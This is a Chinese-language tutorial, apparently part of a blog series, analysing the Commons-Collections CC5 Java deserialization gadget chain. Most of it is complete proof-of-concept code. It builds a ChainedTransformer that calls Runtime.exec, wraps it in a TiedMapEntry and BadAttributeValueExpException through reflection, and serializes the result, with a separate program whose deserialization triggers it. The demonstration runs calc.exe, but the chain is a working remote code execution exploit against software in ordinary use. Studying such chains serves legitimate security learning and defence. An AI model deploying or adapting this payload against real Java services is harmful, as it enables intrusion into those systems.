前言
CC5链和CC1差不多,只不过调用LazyMap.get()是通过TiedMapEntry.toString()触发的
1.环境
我们可以接着使用之前已经搭建好的环境,具体过程可以看CC1分析文章的环境安装部分
Commons-Collections篇-CC1链小白基础分析学习
2.分析
我们先把后半段Lazy.get到命令执行的代码写出来
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
Lazy.get(1);
}
}
我们查找get的用法,发现在TiedMapEntry.getValue()进行了调用
我们接着寻找,在同类的toString方法找到了调用
接着寻找,但是toString方法太多了,我们直接跳到目标BadAttributeValueExpException.readObject()方法处
在构造处我们能看见也有个toString方法,所以在刚开始会自动调用poc,我们需要和前几次分析一样,先传入一个随便的值,在最后通过反射修改回我们构造的命令
3.编写POC
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazy,"admin");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class a = badAttributeValueExpException.getClass();
Field val = a.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serializable(badAttributeValueExpException);
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
我们使用反序列化运行生成的poc
package org.example;
import java.lang.annotation.Annotation;
import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC {
public static void main(String[] args) throws Exception {
//命令执行代码
unserializable();
}
private static Object unserializable() throws Exception,IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
}
整体路线为:
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
本系列历史文章
反序列化之路-URLDNS
Commons-Collections篇-CC1链小白基础分析学习
CC1链补充-LazyMap
Commons-Collections篇-CC2链分析
Commons-Collections篇-CC3链
Commons-Collections篇-CC4链分析
Commons-Collections篇-CC6链分析